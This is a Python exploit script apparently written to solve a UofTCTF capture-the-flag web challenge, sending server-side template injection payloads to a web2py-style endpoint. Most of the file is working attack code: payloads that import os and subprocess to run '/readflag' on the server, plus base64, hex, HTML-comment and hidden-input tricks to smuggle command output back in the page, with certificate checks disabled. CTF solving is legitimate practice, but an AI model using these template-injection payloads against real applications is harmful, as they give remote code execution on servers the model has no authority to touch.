#!/usr/bin/env python3
"""
Direct URL decoding to see actual output
"""

import requests
import urllib3
import urllib.parse
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def extract_from_ajax_error(response_text):
    """Extract the actual injected value from the ajax_error_500 variable"""
    # Find the ajax_error_500 line
    match = re.search(r'ajax_error_500 = "([^"]+)"', response_text)
    if match:
        error_msg = match.group(1)
        
        # The URL is HTML-encoded, then the parameter is URL-encoded
        # First HTML-unescape
        error_msg = error_msg.replace('\\u003ca', '<a')
        error_msg = error_msg.replace('\\u003e', '>')
        error_msg = error_msg.replace('\\u003c', '<')
        
        # Find the test parameter value
        param_match = re.search(r'test=([^"&]+)', error_msg)
        if param_match:
            url_encoded = param_match.group(1)
            # URL decode
            decoded = urllib.parse.unquote(url_encoded)
            return decoded
    
    return None

def test_simple_output():
    """Test simple command that should return output"""
    print("="*60)
    print("Testing Command Output Extraction")
    print("="*60)
    
    # First verify SSTI with known output
    test_payload = "{{='MARKER_START_' + str(123*456) + '_MARKER_END'}}"
    print(f"\n[1] Testing calculation: {test_payload}")
    
    response = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": test_payload},
        verify=False,
        timeout=10
    )
    
    # Look for 56088 (123*456)
    if "56088" in response.text:
        print("[+] Calculation successful: 56088 found!")
        idx = response.text.find("56088")
        print(f"    Context: ...{response.text[idx-50:idx+100]}...")
    
    # Now let's try to get command output
    print("\n[2] Attempting to read /readflag output...")
    
    # Try to execute and see if we can find it anywhere
    rce_payload = "{{=__import__('os').popen('/readflag').read()}}"
    
    response = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": rce_payload},
        verify=False,
        timeout=10
    )
    
    # Save raw response
    with open("raw_response.txt", "w", encoding="utf-8") as f:
        f.write(response.text)
    print("[+] Saved response to raw_response.txt")
    
    # Search for flag pattern
    flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
    if flags:
        print(f"\n[!!!] FLAG FOUND: {flags[0]}")
        return flags[0]
    
    # Look at what's in the ajax_error_500
    extracted = extract_from_ajax_error(response.text)
    if extracted:
        print(f"[*] Extracted from ajax_error_500: {extracted}")
    
    # Check if anything looks like base64 or encoded flag
    print("\n[*] Searching for potential encoded output...")
    
    # Look for unusual strings
    lines = response.text.split('\n')
    for i, line in enumerate(lines):
        if 'uoft' in line.lower() or 'ctf' in line.lower():
            print(f"    Line {i}: {line.strip()[:200]}")
    
    return None

def test_alternate_output_methods():
    """Try different ways to get output"""
    print("\n" + "="*60)
    print("Testing Alternate Output Methods")
    print("="*60)
    
    payloads = [
        # Base64 encode the output
        ("{{=__import__('base64').b64encode(__import__('subprocess').check_output(['/readflag'])).decode()}}", "base64 encoded"),
        
        # Hex encode
        ("{{=__import__('subprocess').check_output(['/readflag']).hex()}}", "hex encoded"),
        
        # Try to put it in an HTML comment
        ("{{='<!-- ' + __import__('subprocess').check_output(['/readflag']).decode() + ' -->'}}", "HTML comment"),
        
        # Try in a hidden input
        ("{{='<input type=\"hidden\" value=\"' + __import__('subprocess').check_output(['/readflag']).decode() + '\">'}}", "hidden input"),
    ]
    
    for payload, description in payloads:
        print(f"\n[>] Testing: {description}")
        print(f"    Payload: {payload[:80]}...")
        
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        # Check for flag
        if "uoftctf{" in response.text:
            print("[!!!] FLAG FOUND!")
            flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
            for flag in flags:
                print(f"\nFLAG: {flag}\n")
            return flag
        
        # Check for base64 pattern (if using base64)
        if "base64" in description:
            # Look for base64-like strings
            b64_pattern = r'[A-Za-z0-9+/]{20,}={0,2}'
            matches = re.findall(b64_pattern, response.text)
            if matches:
                print(f"    Found potential base64: {matches[:3]}")
                for match in matches[:5]:
                    try:
                        import base64
                        decoded = base64.b64decode(match).decode('utf-8', errors='ignore')
                        if 'uoft' in decoded.lower():
                            print(f"    [!!!] Decoded: {decoded}")
                    except:
                        pass
        
        # Check for hex
        if "hex" in description:
            hex_pattern = r'[0-9a-f]{40,}'
            matches = re.findall(hex_pattern, response.text)
            if matches:
                print(f"    Found potential hex: {matches[:2]}")
                for match in matches[:5]:
                    try:
                        decoded = bytes.fromhex(match).decode('utf-8', errors='ignore')
                        if 'uoft' in decoded.lower():
                            print(f"    [!!!] Decoded: {decoded}")
                    except:
                        pass
    
    return None

if __name__ == "__main__":
    flag = test_simple_output()
    
    if not flag:
        flag = test_alternate_output_methods()
    
    if flag:
        print(f"\n{'='*60}")
        print(f"SUCCESS! FLAG: {flag}")
        print(f"{'='*60}")
    else:
        print("\n[*] Flag not found. Analyzing raw response...")
        print("[*] Check raw_response.txt for details")
